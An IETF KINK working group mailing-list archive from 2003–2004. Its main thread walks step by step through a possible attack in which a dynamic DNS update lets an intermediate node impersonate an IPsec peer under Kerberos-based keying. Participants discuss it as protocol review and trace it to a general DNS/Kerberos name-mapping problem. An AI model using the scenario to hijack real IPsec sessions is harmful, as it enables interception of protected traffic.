http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-1-31142936.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-1-31142936.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Tue Feb 11 21:08:05 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1C585B27992 for ietf-kink-bks; Tue, 11 Feb 2003 21:08:05 -0800 (PST) Received: from zns001-0m9002.yokogawa.co.jp (zns001-0m9002.yokogawa.co.jp [203.174.79.139]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1C57ud27983 for ; Tue, 11 Feb 2003 21:07:59 -0800 (PST) Received: from zns001-0m9002.yokogawa.co.jp (localhost [127.0.0.1]) by zns001-0m9002.yokogawa.co.jp (8.11.6+Sun/8.11.6) with ESMTP id h1C57mY24018 for ; Wed, 12 Feb 2003 14:07:56 +0900 (JST) Received: from aml001-0m0001.mitaka.yokogawa.co.jp (aml001-0m0001.mitaka.yokogawa.co.jp [10.24.32.52]) by zns001-0m9002.yokogawa.co.jp (8.11.6+Sun/8.11.6) with ESMTP id h1C57jX24008 for ; Wed, 12 Feb 2003 14:07:48 +0900 (JST) Received: from localhost (localhost [127.0.0.1]) by aml001-0m0001.mitaka.yokogawa.co.jp (8.11.6+Sun/8.11.6) with ESMTP id h1C57iF14193 for ; Wed, 12 Feb 2003 14:07:44 +0900 (JST) Date: Wed, 12 Feb 2003 14:07:43 +0900 (JST) Message-Id: <20030212.140743.28781518.nov@tahi.org> To: ietf-kink@vpnc.org Subject: a potential security hole? From: OKABE Nobuo X-Mailer: Mew version 3.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi all, # Sorry if this kind of discussion had already been held so far. # We got involved KINK recently. We found a potential security hole using KINK with a kind of naming system that can update entry dynamically. Here is one of scenarios. 1) Assumptions There are node A, B and X as the following table. Alice on A establishes secure communication with B by IPsec. Bob want to break Alice's security or privacy. =====+============+=======+===========+===========+============ Node Principal key FQDN/ User Otherwise shared IP address w/ KDC =====+============+=======+===========+===========+============ A ME@REALM Ka ME/ Alice, Bob N/A IPa -----+------------+-------+-----------+-----------+------------ B PEER@REALM Kb PEER/ Alice N/A IPb -----+------------+-------+-----------+-----------+------------ X BAD@REALM Kx BAD/ Bob X is a IPx intermediate box between A and B =====+============+=======+===========+===========+============ 2) Alice establishes IPsec by KINK. Alice establishes IPsec between A and B using KINK. A KDC B AS_REQ by ME@REALM --------------------------> AS_REP w/ TGTa <-------------------------- TGS_REQ by ME@REALM for PEER@REALM w/ TGTa --------------------------> TGS_REP w/ TICKETb <-------------------------- IPsrc:IPa, IPdst:IPb KINK_CREATE w/ AP_REQ (including TICKETb) w/ ISAKMP --------------------------------------------------------> IPsrc:IPb, IPdst:IPa KINK_REPLY w/ AP_REP w/ ISAKMP <-------------------------------------------------------- Now IPsec was established between A and B. 3) A bad guy, Bob, takes over the SA pairs. First, Bob updates a bogus pair (FQDN: BAD, IP address: IPb) of his naming system. Then, he initiates KINK for BAD@REALM. KINK on A starts KINK message. X that is a intermediate box between A and B can impersonate B because X can understand a ticket for BAD@REALM. A KDC X B TGS_REQ by ME@REALM for BAD@REALM w/ TGTa --------------------------> TGS_REP w/ TICKETx <-------------------------- IPsrc:IPa, IPdst:IPb KINK_CREATE w/ AP_REQ (including TICKETx) w/ ISAKMP -------------------------------------------> X impersonates B. X can reads AP_REQ because X can understand TICKETx. IPsrc:IPb, IPdst:IPa KINK_REPLY w/ AP_REP w/ ISAKMP <------------------------------------------- X impersonates B. X can create AP_REP because X can understand TICKETx. To avoid this kink of attack, FQDN part of pricipal must be restricted. Any other good ideas for against the attack? # Again, if the WG had already discussed this kind of attack, # please give us the pointers. thanks, ---- nobuo From owner-ietf-kink Wed Feb 12 13:13:23 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1CLDNU06628 for ietf-kink-bks; Wed, 12 Feb 2003 13:13:23 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1CLDGd06624 for ; Wed, 12 Feb 2003 13:13:16 -0800 (PST) Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15]) by sj-msg-core-1.cisco.com (8.12.2/8.12.6) with ESMTP id h1CLD2SQ013780; Wed, 12 Feb 2003 13:13:02 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA) with ESMTP id ABJ10107; Wed, 12 Feb 2003 13:13:00 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA05999; Wed, 12 Feb 2003 13:13:00 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15946.47324.427220.40352@thomasm-u1.cisco.com> Date: Wed, 12 Feb 2003 13:13:00 -0800 (PST) To: OKABE Nobuo Cc: ietf-kink@vpnc.org Subject: a potential security hole? In-Reply-To: <20030212.140743.28781518.nov@tahi.org> References: <20030212.140743.28781518.nov@tahi.org> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I'm trying -- somewhat unsucessfully -- to understand the attack, but let me first ask a question: is this attack specific to KINK itself, or is it generally applicable to any Kerberos application which does an ap-rep/ap-req as KINK does? It looks to me like it might be in that class, but as I said, I'm not understanding the attack. More inline: OKABE Nobuo writes: > > Hi all, > > # Sorry if this kind of discussion had already been held so far. > # We got involved KINK recently. > > We found a potential security hole using KINK with > a kind of naming system that can update entry dynamically. You mean like Dynamic DNS? Or in the principal database itself? > 3) A bad guy, Bob, takes over the SA pairs. > > > First, Bob updates a bogus pair (FQDN: BAD, IP address: IPb) > of his naming system. Then, he initiates KINK for BAD@REALM. > KINK on A starts KINK message. X that is a intermediate box > between A and B can impersonate B because X can understand > a ticket for BAD@REALM. I assume here that "X" is the attaker, not Bob? Otherwise I'm really confused because why would Bob update his naming to point at "BAD"? Are Bob and X somehow in collusion? > A KDC X B > > TGS_REQ > by ME@REALM > for BAD@REALM > w/ TGTa > --------------------------> > > TGS_REP > w/ TICKETx > <-------------------------- > > IPsrc:IPa, IPdst:IPb > KINK_CREATE > w/ AP_REQ (including TICKETx) > w/ ISAKMP > -------------------------------------------> X impersonates B. > X can reads AP_REQ > because X can understand TICKETx. But... is that impersonation, or is it Bob just changing name bindings such that it's now pointing to X? In any case, assuming the name binding was in DNS, the KDC doesn't use DNS so this would be a general DNS/Kerberos name mapping problem, not a KINK specific problem. If _not_, I don't understand why Bob would change the name binding in the KDC if it's not in his interest. I must be missing something. Mike From owner-ietf-kink Wed Feb 12 13:36:03 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1CLa3207137 for ietf-kink-bks; Wed, 12 Feb 2003 13:36:03 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1CLa2d07133 for ; Wed, 12 Feb 2003 13:36:02 -0800 (PST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated bits=0) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h1CLZPW8006831; Wed, 12 Feb 2003 16:35:26 -0500 (EST) Message-Id: <200302122135.h1CLZPW8006831@ginger.cmf.nrl.navy.mil> To: Michael Thomas cc: OKABE Nobuo , ietf-kink@vpnc.org Subject: Re: a potential security hole? In-reply-to: Your message of "Wed, 12 Feb 2003 13:13:00 PST." <15946.47324.427220.40352@thomasm-u1.cisco.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Wed, 12 Feb 2003 16:35:26 -0500 From: Ken Hornstein X-Spam-Score: hits=0 () User Authenticated X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.24 (www . roaringpenguin . com / mimedefang) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > First, Bob updates a bogus pair (FQDN: BAD, IP address: IPb) > > of his naming system. Then, he initiates KINK for BAD@REALM. > > KINK on A starts KINK message. X that is a intermediate box > > between A and B can impersonate B because X can understand > > a ticket for BAD@REALM. > >I assume here that "X" is the attaker, not Bob? >Otherwise I'm really confused because why would >Bob update his naming to point at "BAD"? Are >Bob and X somehow in collusion? I'm a bit confused as well ... because if X know's B's key, then for the purposes of Kerberos, X _is_ B, and that is something Kerberos explicitly does _not_ deal with. --Ken From owner-ietf-kink Wed Feb 12 19:28:53 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1D3Sr415900 for ietf-kink-bks; Wed, 12 Feb 2003 19:28:53 -0800 (PST) Received: from smtp3.att.ne.jp (smtp3.att.ne.jp [165.76.15.139]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1D3Spd15896 for ; Wed, 12 Feb 2003 19:28:52 -0800 (PST) Received: from localhost (82.180.32.202.ts.2iij.net [202.32.180.82]) by smtp3.att.ne.jp (Postfix) with ESMTP id C7B6D15600; Thu, 13 Feb 2003 12:28:54 +0900 (JST) Date: Thu, 13 Feb 2003 12:28:54 +0900 (JST) Message-Id: <20030213.122854.41629712.nov@tahi.org> To: kenh@cmf.nrl.navy.mil Cc: mat@cisco.com, ietf-kink@vpnc.org Subject: Re: a potential security hole? From: OKABE Nobuo In-Reply-To: <200302122135.h1CLZPW8006831@ginger.cmf.nrl.navy.mil> References: <15946.47324.427220.40352@thomasm-u1.cisco.com> <200302122135.h1CLZPW8006831@ginger.cmf.nrl.navy.mil> X-Mailer: Mew version 3.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Ken Hornstein Subject: Re: a potential security hole? Date: Wed, 12 Feb 2003 16:35:26 -0500 > > > > First, Bob updates a bogus pair (FQDN: BAD, IP address: IPb) > > > of his naming system. Then, he initiates KINK for BAD@REALM. > > > KINK on A starts KINK message. X that is a intermediate box > > > between A and B can impersonate B because X can understand > > > a ticket for BAD@REALM. > > > >I assume here that "X" is the attaker, not Bob? > >Otherwise I'm really confused because why would > >Bob update his naming to point at "BAD"? Are > >Bob and X somehow in collusion? > > I'm a bit confused as well ... because if X know's B's key, then for > the purposes of Kerberos, X _is_ B, and that is something Kerberos > explicitly does _not_ deal with. Again, sorry for my poor contets. I tried to explain the attack in my another mail that replied to Michael. Please see it. ---- nobuo From owner-ietf-kink Wed Feb 12 19:26:19 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1D3QJI15812 for ietf-kink-bks; Wed, 12 Feb 2003 19:26:19 -0800 (PST) Received: from smtp1.att.ne.jp (smtp1.att.ne.jp [165.76.15.137]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1D3QCd15808 for ; Wed, 12 Feb 2003 19:26:12 -0800 (PST) Received: from localhost (82.180.32.202.ts.2iij.net [202.32.180.82]) by smtp1.att.ne.jp (Postfix) with ESMTP id 2560815495; Thu, 13 Feb 2003 12:26:15 +0900 (JST) Date: Thu, 13 Feb 2003 12:26:14 +0900 (JST) Message-Id: <20030213.122614.74757360.nov@tahi.org> To: mat@cisco.com Cc: ietf-kink@vpnc.org Subject: Re: a potential security hole? From: OKABE Nobuo In-Reply-To: <15946.47324.427220.40352@thomasm-u1.cisco.com> References: <20030212.140743.28781518.nov@tahi.org> <15946.47324.427220.40352@thomasm-u1.cisco.com> X-Mailer: Mew version 3.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: First of all, sorry for my poor contents in the previous mail. From: Michael Thomas Subject: a potential security hole? Date: Wed, 12 Feb 2003 13:13:00 -0800 (PST) > I'm trying -- somewhat unsucessfully -- to > understand the attack, but let me first ask a > question: is this attack specific to KINK itself, > or is it generally applicable to any Kerberos > application which does an ap-rep/ap-req as KINK > does? It looks to me like it might be in that > class, but as I said, I'm not understanding the > attack. I'm trying to explain the attack in detail. please see the below. > More inline: > > OKABE Nobuo writes: > > > > Hi all, > > > > # Sorry if this kind of discussion had already been held so far. > > # We got involved KINK recently. > > > > We found a potential security hole using KINK with > > a kind of naming system that can update entry dynamically. > > You mean like Dynamic DNS? Or in the principal > database itself? Dynamic DNS (or something like that). > > 3) A bad guy, Bob, takes over the SA pairs. > > > > > > First, Bob updates a bogus pair (FQDN: BAD, IP address: IPb) > > of his naming system. Then, he initiates KINK for BAD@REALM. > > KINK on A starts KINK message. X that is a intermediate box > > between A and B can impersonate B because X can understand > > a ticket for BAD@REALM. > > I assume here that "X" is the attaker, not Bob? > Otherwise I'm really confused because why would > Bob update his naming to point at "BAD"? Are > Bob and X somehow in collusion? Here are players: A: - A is a node. - A's IP adrs is "133.140.10.1". - A's FQDN is "foo.goodguy.org". - A's principal is "foo.goodguy.org@REALM". - A shares a Kerberos master key Ka with KDC. - Alice and Bob have their account in node A. X: - X is a node. - X's one of IP addresses is "133.140.10.2". - X's FQDN is "bar.badguy.org". - X's principal is "bar.badguy.org@REALM". - X shares a Kerberos master key Kx with KDC. - X is a a intermediate box (ex. a router) between A and B. - Bob has his account in node A. B: - B is a node. - B's IP adrs is "133.140.20.30". - B's FQDN is "boo.goodguy.org". - B's principal is "boo.goodguy.org@REALM". - B shares a Kerberos master key Ka with KDC. - Alice has her account in node B. user: Alicd and Bob user: Bob user: Alice A ----------------------------------X-------------------------B 133.140.10.1 133.140.10.2 133.140.20.30 foo.goodguy.org bar.badguy.org boo.goodguy.org Here is a story: 1) Alice on the node A starts KINK between "foo.goodguy.org@REALM" and "boo.goodguy.org@REALM". It means that IPsec is established between "133.140.10.1" and "133.140.20.30". 2) Bob updates X's IP address as a bogus one by dynamic DNS update, e.g. . ^^^^^^^^^^^^^ 3) Then, Bob on the node A starts KINK between "foo.goodguy.org@REALM" and "bar.badguy.org@REALM". It means that IPsec will be established between "133.140.10.1" and "133.140.20.30". ^^^^^^^^^^^^^ 4) The node X intercepts the KINK CREATE message whose destination is the node B. X can read the message because the message is for "bar.badguy.org@REALM". Then, X can reply a bogus KINK REPLY message to the A. 5) Finally, KINK negotiation is done between "foo.goodguy.org@REALM" and "bar.badguy.org@REALM". From the node A's viewpoint, the IPsec is re-established between "133.140.10.1" and "133.140.20.30". However, SA is installed in the node X, not the node B. > > A KDC X B > > > > TGS_REQ > > by ME@REALM > > for BAD@REALM > > w/ TGTa > > --------------------------> > > > > TGS_REP > > w/ TICKETx > > <-------------------------- > > > > IPsrc:IPa, IPdst:IPb > > KINK_CREATE > > w/ AP_REQ (including TICKETx) > > w/ ISAKMP > > -------------------------------------------> X impersonates B. > > X can reads AP_REQ > > because X can understand TICKETx. > > But... is that impersonation, or is it Bob just > changing name bindings such that it's now > pointing to X? In any case, assuming the name > binding was in DNS, the KDC doesn't use DNS so > this would be a general DNS/Kerberos name > mapping problem, not a KINK specific problem. Thanks for your good point. I realized that this is not KINK specific problem. In other words, this seems to be FQDN/IP address mapping problem. Do you know any information or pointer that takes care of "a general DNS/Kerberos name mapping problem" or related one as you mentioned ? # Sorry if my question is well-known issues of Kerberos. > If _not_, I don't understand why Bob would > change the name binding in the KDC if it's not > in his interest. > > I must be missing something. thanks, ---- nobuo From owner-ietf-kink Thu Feb 13 09:27:02 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1DHR2416584 for ietf-kink-bks; Thu, 13 Feb 2003 09:27:02 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1DHR1d16577 for ; Thu, 13 Feb 2003 09:27:01 -0800 (PST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated bits=0) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h1DHIcW8017017; Thu, 13 Feb 2003 12:18:39 -0500 (EST) Message-Id: <200302131718.h1DHIcW8017017@ginger.cmf.nrl.navy.mil> To: OKABE Nobuo cc: mat@cisco.com, ietf-kink@vpnc.org Subject: Re: a potential security hole? In-reply-to: Your message of "Thu, 13 Feb 2003 12:26:14 +0900." <20030213.122614.74757360.nov@tahi.org> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Thu, 13 Feb 2003 12:18:37 -0500 From: Ken Hornstein X-Spam-Score: hits=0 () User Authenticated X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.24 (www . roaringpenguin . com / mimedefang) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >Here are players: > >A: > - A is a node. > - A's IP adrs is "133.140.10.1". > - A's FQDN is "foo.goodguy.org". > - A's principal is "foo.goodguy.org@REALM". > - A shares a Kerberos master key Ka with KDC. > - Alice and Bob have their account in node A. > >X: > - X is a node. > - X's one of IP addresses is "133.140.10.2". > - X's FQDN is "bar.badguy.org". > - X's principal is "bar.badguy.org@REALM". > - X shares a Kerberos master key Kx with KDC. Whoah, okay, when you say the "master" key (Kx) are you talking about what is typically called the "master" key (K/M) in MIT implementations, the TGS key, or just the key assigned to that principal? (BTW, typically that principal would be called host/bar.badguy.org@REALM). >4) The node X intercepts the KINK CREATE message whose destination > is the node B. X can read the message because the message > is for "bar.badguy.org@REALM". > Then, X can reply a bogus KINK REPLY message to the A. I don't follow this step; if the destination is B, how exactly can X read it? The AP_REQ is encrypted with B's key. This seems like it requires cooperation between B and X; if that's the case, I don't understand why B just doesn't give X his secret key. --Ken From owner-ietf-kink Thu Feb 13 16:45:30 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h1E0jUi01928 for ietf-kink-bks; Thu, 13 Feb 2003 16:45:30 -0800 (PST) Received: from smtp2.att.ne.jp (smtp2.att.ne.jp [165.76.15.138]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h1E0jQd01923 for ; Thu, 13 Feb 2003 16:45:27 -0800 (PST) Received: from localhost (82.180.32.202.ts.2iij.net [202.32.180.82]) by smtp2.att.ne.jp (Postfix) with ESMTP id F1CD124F8C; Fri, 14 Feb 2003 09:45:28 +0900 (JST) Date: Fri, 14 Feb 2003 09:45:28 +0900 (JST) Message-Id: <20030214.094528.74756267.nov@tahi.org> To: kenh@cmf.nrl.navy.mil Cc: mat@cisco.com, ietf-kink@vpnc.org Subject: Re: a potential security hole? From: OKABE Nobuo In-Reply-To: <200302131718.h1DHIcW8017017@ginger.cmf.nrl.navy.mil> References: <20030213.122614.74757360.nov@tahi.org> <200302131718.h1DHIcW8017017@ginger.cmf.nrl.navy.mil> X-Mailer: Mew version 3.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Ken Hornstein Subject: Re: a potential security hole? Date: Thu, 13 Feb 2003 12:18:37 -0500 > >Here are players: > > > >A: > > - A is a node. > > - A's IP adrs is "133.140.10.1". > > - A's FQDN is "foo.goodguy.org". > > - A's principal is "foo.goodguy.org@REALM". > > - A shares a Kerberos master key Ka with KDC. > > - Alice and Bob have their account in node A. > > > >X: > > - X is a node. > > - X's one of IP addresses is "133.140.10.2". > > - X's FQDN is "bar.badguy.org". > > - X's principal is "bar.badguy.org@REALM". > > - X shares a Kerberos master key Kx with KDC. > > Whoah, okay, when you say the "master" key (Kx) are you talking about > what is typically called the "master" key (K/M) in MIT implementations, > the TGS key, or just the key assigned to that principal? (BTW, typically > that principal would be called host/bar.badguy.org@REALM). Sorry again. I mean that Kx is the TGS key. > >4) The node X intercepts the KINK CREATE message whose destination > > is the node B. X can read the message because the message > > is for "bar.badguy.org@REALM". > > Then, X can reply a bogus KINK REPLY message to the A. > > I don't follow this step; if the destination is B, how exactly can X > read it? The AP_REQ is encrypted with B's key. No. The AP_REQ is encrypted with X's key. > This seems like it requires cooperation between B and X; if that's the > case, I don't understand why B just doesn't give X his secret key. Please see step 2) and 3). 2) Bob updates X's IP address as a bogus one by dynamic DNS update, e.g. . Now IP address of "bar.badguy.org" becomes 133.140.20.30 that should be the B's one. 3) Then, Bob on the node A starts KINK between "foo.goodguy.org@REALM" and "bar.badguy.org@REALM". It means that IPsec will be established between "133.140.10.1" and "133.140.20.30". By KINK's definition, principal is "kink/FQDN@REALM". So KINK on the A throws the message to "bar.badguy.org"'s IP address, that is 133.140.20.30 because of the step 2). In another words, the KINK throws the message to B's IP address. Howeve the contet of the message is for "bar.badguy.org@REALM". The X can read the message because X is "bar.badguy.org@REALM". thanks, ---- nobuo From owner-ietf-kink Mon Mar 17 12:44:16 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.6) id h2HKiG500930 for ietf-kink-bks; Mon, 17 Mar 2003 12:44:16 -0800 (PST) Received: from snatch.gtnw.de (p15092256.pureserver.info [217.160.108.65]) by above.proper.com (8.11.6/8.11.6) with ESMTP id h2HKiFg00926 for ; Mon, 17 Mar 2003 12:44:15 -0800 (PST) Received: from botzone.krikkit.com (pD9507B38.dip.t-dialin.net [217.80.123.56]) by snatch.gtnw.de (Postfix on SuSE Linux 7.2 (i386)) with ESMTP id 48D393A8161 for ; Mon, 17 Mar 2003 21:44:16 +0100 (CET) Received: by botzone.krikkit.com (Postfix, from userid 1000) id D9F4759E67; Mon, 17 Mar 2003 21:44:17 +0100 (CET) Date: Mon, 17 Mar 2003 21:44:17 +0100 To: ietf-kink@vpnc.org Subject: Implementations of KINK Message-ID: <20030317204417.GA4818@tzi.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.3i From: jgre@tzi.de (Janico Greifenberg) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, in the project I am currently working on, we are looking for possibilities to secure data transfer with different protocols (including UDP). We plan on using Kerberos for authentification and hope to be able to use IPSec. So we came across KINK. The question is: Are there any implementations available yet? Thanks in advance Janico -- Warning! Taking anyone (especially yourself) too serious will be harmful From owner-ietf-kink Tue Sep 16 23:53:01 2003 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h8H6r1eo064451 for ; Tue, 16 Sep 2003 23:53:01 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.9/8.12.9/Submit) id h8H6r1fT064449 for ietf-kink-bks; Tue, 16 Sep 2003 23:53:01 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from zns001-0m9002.yokogawa.co.jp (zns001-0m9002.yokogawa.co.jp [203.174.79.139]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h8H6qxeo064403 for ; Tue, 16 Sep 2003 23:53:00 -0700 (PDT) (envelope-from nov@tahi.org) Received: from zns001-0m9002.yokogawa.co.jp (localhost [127.0.0.1]) by zns001-0m9002.yokogawa.co.jp (8.11.7+Sun/8.11.6) with ESMTP id h8H6qp518302 for ; Wed, 17 Sep 2003 15:52:51 +0900 (JST) Received: from aml001-0m0002.mitaka.yokogawa.co.jp (aml001-0m0002.jp.ykgw.net [10.24.32.53]) by zns001-0m9002.yokogawa.co.jp (8.11.7+Sun/8.11.6) with ESMTP id h8H6qnp18288 for ; Wed, 17 Sep 2003 15:52:50 +0900 (JST) Received: from localhost (localhost.localdomain [127.0.0.1]) by aml001-0m0002.mitaka.yokogawa.co.jp (8.9.3/3.7W01100309) with ESMTP id PAA15327 for ; Wed, 17 Sep 2003 15:52:49 +0900 Date: Wed, 17 Sep 2003 15:52:50 +0900 (JST) Message-Id: <20030917.155250.112628590.nov@tahi.org> To: ietf-kink@vpnc.org Subject: 05 draft status? From: Nobuo OKABE X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I would like to know the status of KINK 05 draft. Will be the draft revised ? If so, what part need to be improved? Is there any issue list (or so on) pointed out by IESG? Please let me know if any of you have known related pointers. Here are my comment about 05 draft. # Sorry for my big delay. # I suspended my comment because # I guessed that 06 draft would be issued later. COMMENT1 about "6.8 KE Payload" or so. There are two cases to break two-way handshake for establishing SA. 1) A responder does not choose the first proposal. 2) A initiator sends CREATE with KE payload. The former case is described in the draft, but the latter is not. It seems good for readers to describe the latter case explicitly in section 6.8 or so. COMMENT2 about "7.3 CREATE" Missing KE payload in the REPLY from. REPLY KINK Header KINK_AP_REP [KINK_ENCRYPT] KINK_ISAKMP SA Payload[s] Proposal Payload Transform Payload [ Nonce Payload (Nr)] [KE] <========================== this [IDci, IDcr] [Notification Payloads] COMMENT3 about "8. Key Derivation" The draft does not define "prf". In IKE's case, a phase 1 negotiates a hash algorithm that is used for prf. But KINK does not use IKE phase 1. I guess that the hash algorithm specified in the Kerberos ticket is used. thanks, ----- nobuo From owner-ietf-kink Thu Apr 29 05:34:18 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i3TCYIXv094629; Thu, 29 Apr 2004 05:34:18 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i3TCYIDV094628; Thu, 29 Apr 2004 05:34:18 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from gab54-1.com ([193.136.195.3]) by above.proper.com (8.12.11/8.12.9) with SMTP id i3TCYGOH094618 for ; Thu, 29 Apr 2004 05:34:16 -0700 (PDT) (envelope-from jtrostle@world.std.com) Date: Thu, 29 Apr 2004 13:39:17 +0000 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Hi Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------ulnaiehcdftjocgvijob" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------ulnaiehcdftjocgvijob Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
